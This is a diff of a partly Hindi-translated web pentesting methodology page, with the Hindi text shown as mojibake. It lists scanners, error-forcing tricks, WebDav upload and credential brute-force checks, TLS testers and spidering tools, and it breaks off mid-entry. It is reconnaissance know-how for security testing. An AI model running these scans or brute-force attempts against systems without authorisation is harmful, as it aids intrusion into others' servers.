+#### General purpose automatic scanners ```bash nikto -h whatweb -a 4 @@ -135,12 +134,12 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### CMS рд╕реНрдХреИрдирд░ +#### CMS scanners -рдпрджрд┐ рдХрд┐рд╕реА CMS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рддреЛ **рд╕реНрдХреИрдирд░ рдЪрд▓рд╛рдирд╛** рди рднреВрд▓реЗрдВ тАФ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдорд┐рд▓ рдЬрд╛рдП: +рдпрджрд┐ CMS рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реЛ рд░рд╣рд╛ рд╣реИ рддреЛ **run a scanner** рдХрд░рдирд╛ рди рднреВрд▓реЗрдВ тАФ рд╢рд╛рдпрдж рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдорд┐рд▓ рдЬрд╛рдП: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЗ рд▓рд┐рдПред (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** Security issues рдХреЗ рд▓рд┐рдП рд╡реЗрдмрд╕рд╛рдЗрдЯреНрд╕ред (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **рдпрд╛** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -150,15 +149,15 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> рдЗрд╕ рдмрд┐рдВрджреБ рдкрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдХреНрд▓рд╛рдЗрдВрдЯ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ web server рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП (рдпрджрд┐ рдХреЛрдИ рдбреЗрдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ) рдФрд░ рдкрд░реАрдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдЯреНрд░рд┐рдХреНрд╕ред рдЕрдЧрд░ рдЖрдк рднрд╛рдЧреНрдпрд╢рд╛рд▓реА рд╣реИрдВ рддреЛ рдЖрдкрдиреЗ рдПрдХ CMS рднреА рдкрд╛рдпрд╛ рд╣реЛрдЧрд╛ рдФрд░ рдХреБрдЫ scanner рдЪрд▓рд╛рдпрд╛ рд╣реЛрдЧрд╛ред +> рдЗрд╕ рдмрд┐рдВрджреБ рдкрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреНрд▓рд╛рдЗрдВрдЯ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рд╡реЗрдм рд╕рд░реНрд╡рд░ (рдпрджрд┐ рдХреЛрдИ рдбреЗрдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ) рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдФрд░ рдЯреЗрд╕реНрдЯ рдХреЗ рджреМрд░рд╛рди рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдЯреНрд░рд┐рдХреНрд╕ рдкрд╣рд▓реЗ рд╕реЗ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред рдЕрдЧрд░ рдЖрдк рднрд╛рдЧреНрдпрд╢рд╛рд▓реА рд╣реИрдВ рддреЛ рдЖрдкрдиреЗ рдПрдХ CMS рднреА рдЦреЛрдЬ рд▓рд┐рдпрд╛ рд╣реЛрдЧрд╛ рдФрд░ рдХреБрдЫ рд╕реНрдХреИрдирд░ рдЪрд▓рд╛ рд▓рд┐рдпрд╛ рд╣реЛрдЧрд╛ред -## рдЪрд░рдг-рджрд░-рдЪрд░рдг рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЦреЛрдЬ +## Step-by-step Web Application Discovery > рдЗрд╕ рдмрд┐рдВрджреБ рд╕реЗ рд╣рдо рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░реЗрдВрдЧреЗред -### рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЬрд╛рдБрдЪ +### Initial checks -**рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреЗрдЬ рдЬрд┐рдирдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рд╣реЛ:** +**Default pages with interesting info:** - /robots.txt - /sitemap.xml @@ -167,28 +166,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs - /.well-known/ - рдореБрдЦреНрдп рдФрд░ рджреНрд╡рд┐рддреАрдпрдХ рдкреЗрдЬреЛрдВ рдореЗрдВ рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ рднреА рдЬрд╛рдВрдЪреЗрдВред -**рддреНрд░реБрдЯрд┐рдпрд╛рдБ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛** +**Forcing errors** -Web servers рдЬрдм рдЕрдЬреАрдм рдбреЗрдЯрд╛ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рдЕрдирдкреЗрдХреНрд╖рд┐рдд рддрд░реАрдХреЗ рд╕реЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рд╕реЗ vulnerabilities рдЦреБрд▓ рд╕рдХрддреА рд╣реИрдВ рдпрд╛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +рд╡реЗрдм рд╕рд░реНрд╡рд░ рдЬрдм рдЕрд╕рд╛рдорд╛рдиреНрдп рдбреЗрдЯрд╛ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ **рдЕрдирдкреЗрдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред рдЗрд╕рд╕реЗ **vulnerabilities** рдЦреБрд▓ рд╕рдХрддреА рд╣реИрдВ рдпрд╛ **disclosure sensitive information** рдЙрдЬрд╛рдЧрд░ рд╣реЛ рд╕рдХрддреА рд╣реИред -- /whatever_fake.php (.aspx,.html,.etc) рдЬреИрд╕реЗ fake pages рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░реЗрдВ -- рддреНрд░реБрдЯрд┐рдпрд╛рдБ рдкреИрджрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **cookie values** рдФрд░ **parameter values** рдореЗрдВ **"\[]", "]]", рдФрд░ "\[["** рдЬреЛрдбрд╝реЗрдВ -- **URL** рдХреЗ **end** рдкрд░ **`/~randomthing/%s`** рдЬреИрд╕рд╛ рдЗрдирдкреБрдЯ рджреЗрдХрд░ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ -- PATCH, DEBUG рдЬреИрд╕реЗ рдпрд╛ FAKE рдЬреИрд╕реЗ рдЧрд▓рдд **HTTP Verbs** рдЖрдЬрд╝рдорд╛рдПрдБ +- /whatever_fake.php (.aspx,.html,.etc) рдЬреИрд╕реЗ **fake pages** рддрдХ рдкрд╣реБрдБрдЪреЗрдВ +- **Add "\[]", "]]", and "\[["** рдХреЛ **cookie values** рдФрд░ **parameter values** рдореЗрдВ рдЬреЛрдбрд╝рдХрд░ рддреНрд░реБрдЯрд┐рдпрд╛рдБ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ +- URL рдХреЗ **end** рдкрд░ рдЗрдирдкреБрдЯ рджреЗрдХрд░ error рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ, рдЙрджрд╛рд╣рд░рдг: **`/~randomthing/%s`** +- PATCH, DEBUG рдЬреИрд╕реЗ рдЕрд▓рдЧ HTTP Verbs рдпрд╛ FAKE рдЬреИрд╕реЗ рдЧрд▓рдд verbs рдЖрдЬрд╝рдорд╛рдПрдБ -#### **рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдлрд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдлрд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ **WebDav** рд╕рдХреНрд░рд┐рдп рд╣реИ рдкрд░ root рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ **uploading files** рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд░реНрдпрд╛рдкреНрдд permissions рдирд╣реАрдВ рд╣реИрдВ, рддреЛ рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ: +рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ **WebDav** **enabled** рд╣реИ рд▓реЗрдХрд┐рди root рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ **uploading files** рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд permissions рдирд╣реАрдВ рд╣реИрдВ рддреЛ рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ: - **Brute Force** credentials -- WebDav рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **Upload files** рдХреЛ рд╡реЗрдм рдкреЗрдЬ рдХреЗ рдмрд╛рдХреА рдорд┐рд▓реЗ рд╣реБрдП рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЕрдиреНрдп рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдореЗрдВ рдЖрдкрдХреЛ рдлрд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА permissions рдорд┐рд▓реЗрдВред +- WebDav рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡реЗрдм рдкреЗрдЬ рдХреЗ рдЕрдВрджрд░ рдорд┐рд▓реЗ рд╣реБрдП рдЕрдиреНрдп рдлрд╝реЛрд▓реНрдбрд░реНрд╕ (rest of found folders) рдореЗрдВ **Upload files** рдХрд░реЗрдВред рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЕрдиреНрдп рдлрд╝реЛрд▓реНрдбрд░реНрд╕ рдореЗрдВ рдлрд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА permissions рд╣реЛрдВред -### **SSL/TLS рдХрдордЬреЛрд░рд┐рдпрд╛рдБ** +### **SSL/TLS vulnerabilites** -- рдпрджрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд┐рд╕реА рднреА рд╣рд┐рд╕реНрд╕реЗ рдореЗрдВ рдпреВрдЬрд░ рдХреЛ HTTPS рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ MitM рдХреЗ рдкреНрд░рддрд┐ vulnerable рд╣реИ -- рдпрджрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ (passwords) HTTP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреЗрдЬ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ рдПрдХ рдЙрдЪреНрдЪ vulnerability рд╣реИред +- рдпрджрд┐ application рдХрд┐рд╕реА рд╣рд┐рд╕реНрд╕реЗ рдореЗрдВ **HTTPS** рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлреЛрд░реНрд╕ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ **vulnerable to MitM** рд╣реИ +- рдпрджрд┐ application рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ (passwords) **HTTP** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ рдПрдХ рдЙрдЪреНрдЪ severity vulnerability рд╣реИред -Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: +[**testssl.sh**](https://github.com/drwetter/testssl.sh) рдХрд╛ рдЙрдкрдпреЛрдЧ **vulnerabilities** рдХреА рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВ (Bug Bounty programs рдореЗрдВ рд╕рдВрднрд╡рддрдГ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА vulnerabilities рд╕реНрд╡реАрдХрд╛рд░ рдирд╣реАрдВ рдХреА рдЬрд╛рддреАрдВ) рдФрд░ рдкреБрдирдГ рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП [**a2sv**](https://github.com/hahwul/a2sv) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -197,58 +196,58 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vul sslscan sslyze --regular ``` -SSL/TLS рдХрдордЬрд╝реЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА: +Information about SSL/TLS vulnerabilities: - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) ### Spidering -рд╡реЗрдм рдХреЗ рдЕрдВрджрд░ рдХрд┐рд╕реА рддрд░рд╣ рдХрд╛ **spider** рдЪрд▓рд╛рдПрдБред spider рдХрд╛ рд▓рдХреНрд╖реНрдп рдкрд░реАрдХреНрд╖рдг рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ application рд╕реЗ рдЬрд┐рддрдиреЗ рд╕рдВрднрд╡ рд╣реЛ рдЙрддрдиреЗ **paths** **рдЦреЛрдЬрдирд╛** рд╣реИред рдЗрд╕рд▓рд┐рдП, web crawling рдФрд░ external sources рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд┐рддрдиреЗ рд╕рдВрднрд╡ рд╣реЛ рдЙрддрдиреЗ valid paths рдЦреЛрдЬреЗ рдЬрд╛рдиреЗ рдЪрд╛рд╣рд┐рдПред +рд▓рдХреНрд╖реНрдп рдпрд╣ рд╣реИ рдХрд┐ рд╡реЗрдм рдХреЗ рдЕрдВрджрд░ рдХреЛрдИ рди рдХреЛрдИ рдкреНрд░рдХрд╛рд░ рдХрд╛ **spider** рд▓реЙрдиреНрдЪ рдХрд░реЗрдВред spider рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдЯреЗрд╕реНрдЯ рдХреА рдЬрд╛ рд░рд╣реА application рд╕реЗ рдЬрд┐рддрдиреЗ рд╕рдВрднрд╡ рд╣реЛ рдЙрддрдиреЗ **paths рдвреВрдБрдврдирд╛** рд╣реИред рдЗрд╕рд▓рд┐рдП web crawling рдФрд░ рдмрд╛рд╣рд░реА рд╕реНрд░реЛрддреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд┐рддрдиреЗ рд╕рдВрднрд╡ рд╣реЛ рдЙрддрдиреЗ рд╡реИрдз paths рдЦреЛрдЬрдиреЗ рдЪрд╛рд╣рд┐рдПред -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files". -- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org -- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile -- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl) -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them. -- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools. -- [**subjs**](https://github.com/lc/subjs) (go): Find JS files. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find. +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ LinkFinder рдФрд░ рдмрд╛рд╣рд░реА рд╕реНрд░реЛрддреЛрдВ (Archive.org, CommonCrawl.org, VirusTotal.com) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП LinkFider рдФрд░ Archive.org рдХреЛ рдмрд╛рд╣рд░реА рд╕реНрд░реЛрдд рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, "juicy files" рдХреА рдкрд╣рдЪрд╛рди рднреА рдмрддрд╛рддрд╛ рд╣реИред +- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spiderред рдпрд╣ Archive.org рдореЗрдВ рднреА рдЦреЛрдЬрддрд╛ рд╣реИред +- [**meg**](https://github.com/tomnomnom/meg) (go): рдпрд╣ рдЯреВрд▓ spider рдирд╣реАрдВ рд╣реИ рдкрд░ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЖрдк hosts рдХреА рдПрдХ рдлрд╝рд╛рдЗрд▓ рдФрд░ paths рдХреА рдПрдХ рдлрд╝рд╛рдЗрд▓ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ meg рд╣рд░ host рдкрд░ рд╣рд░ path рдХреЛ fetch рдХрд░рдХреЗ response рд╕реЗрд╡ рдХрд░ рджреЗрдЧрд╛ред +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS rendering рдХреНрд╖рдорддрд╛рдУрдВ рд╡рд╛рд▓рд╛ HTML spiderред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ unmaintained рд╣реИ, precompiled version рдкреБрд░рд╛рдирд╛ рд╣реИ рдФрд░ рд╡рд░реНрддрдорд╛рди рдХреЛрдб compile рдирд╣реАрдВ рд╣реЛрддрд╛ред +- [**gau**](https://github.com/lc/gau) (go): рдмрд╛рд╣рд░реА providers (wayback, otx, commoncrawl) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ HTML spiderред +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): рдпрд╣ script parameter рд╡рд╛рд▓реЗ URLs рдЦреЛрдЬреЗрдЧрд╛ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдЧрд╛ред +- [**galer**](https://github.com/dwisiswant0/galer) (go): JS rendering рдХреНрд╖рдорддрд╛рдУрдВ рд╡рд╛рд▓рд╛ HTML spiderред +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS beautify рдХреНрд╖рдорддрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдЬреЛ JS рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рдирдП paths рдЦреЛрдЬ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХрд╛ wrapper [JSScanner](https://github.com/dark-warlord14/JSScanner) рднреА рджреЗрдЦрдиреЗ рд▓рд╛рдпрдХ рд╣реИред +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML source рдФрд░ embedded javascript рдлрд╝рд╛рдЗрд▓реЛрдВ рджреЛрдиреЛрдВ рд╕реЗ endpoints рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдПред bug hunters, red teamers, infosec ninjas рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреАред +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado рдФрд░ JSBeautifier рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ JavaScript рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕реЗ relative URLs parse рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ python 2.7 scriptред AJAX requests рдЦреЛрдЬрдиреЗ рдореЗрдВ рдЙрдкрдпреЛрдЧреАред рд▓рдЧрддрд╛ рд╣реИ unmaintainedред +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): рдХрд┐рд╕реА рдлрд╝рд╛рдЗрд▓ (HTML) рдХреЛ рджрд┐рдпрд╛ рдЬрд╛рдП рддреЛ рдпрд╣ рдПрдХ рдирд┐рдлреНрдЯреА regular expression рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ ugly (minify) рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕реЗ relative URLs рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИред +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): рдХрдИ рдЯреВрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ JS рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдЗрдХрдЯреНрдард╛ рдХрд░рддрд╛ рд╣реИред +- [**subjs**](https://github.com/lc/subjs) (go): JS рдлрд╝рд╛рдЗрд▓реЗрдВ рдвреВрдБрдврддрд╛ рд╣реИред +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): рдПрдХ headless browser рдореЗрдВ рдкреЗрдЬ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рдФрд░ рдкреЗрдЬ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд▓реЛрдб рдХрд┐рдП рдЧрдП рд╕рднреА urls рдкреНрд░рд┐рдВрдЯ рдХрд░рддрд╛ рд╣реИред +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool рдЬреЛ рдкрд┐рдЫрд▓реЗ рдХрдИ рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдорд┐рд▓рд╛рддрд╛ рд╣реИред +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ path рдФрд░ params рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ Burp extensionред +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): рдпрд╣ рдЯреВрд▓ .js.map URL рджрд┐рдП рдЬрд╛рдиреЗ рдкрд░ beautified JS code рд▓рд╛ рджреЗрддрд╛ рд╣реИред +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): рдХрд┐рд╕реА рджрд┐рдП рдЧрдП target рдХреЗ рд▓рд┐рдП endpoints рдЦреЛрдЬрдиреЗ рдореЗрдВ рдЙрдкрдпреЛрдЧреАред +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine рд╕реЗ links рдЦреЛрдЬреЗрдВ (wayback рдореЗрдВ responses рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛ рдФрд░ рд╡рд╣рд╛рдБ рдФрд░ links рдЦреЛрдЬрдирд╛ рднреА)ред +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (forms рднрд░рдХрд░ рднреА) рдХрд░рддрд╛ рд╣реИ рдФрд░ specific regexes рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ sensitive info рднреА 